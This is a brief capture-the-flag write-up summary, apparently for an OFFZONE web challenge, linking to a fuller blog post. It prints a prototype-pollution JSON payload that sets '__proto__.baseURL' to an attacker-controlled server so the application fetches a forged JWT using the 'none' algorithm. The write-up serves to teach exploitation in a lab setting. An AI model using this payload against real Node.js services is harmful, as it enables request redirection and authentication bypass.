Tags: web prototype-pollution jwt nodejs 

Rating: 5.0

TL;DR - `make_order.js` was vulnerable to prototype pollution, which could be exploited with the following JSON to redirect the request to our server and provide a JWT made by us with a "none" algorithm
```
{
"__proto__": {
"length": 0,
"baseURL":"https://our-server"
}
}
```
read more here - https://blog.xss.am/2022/08/offzone-delicious-and-point/

Original writeup (https://blog.xss.am/2022/08/offzone-delicious-and-point/).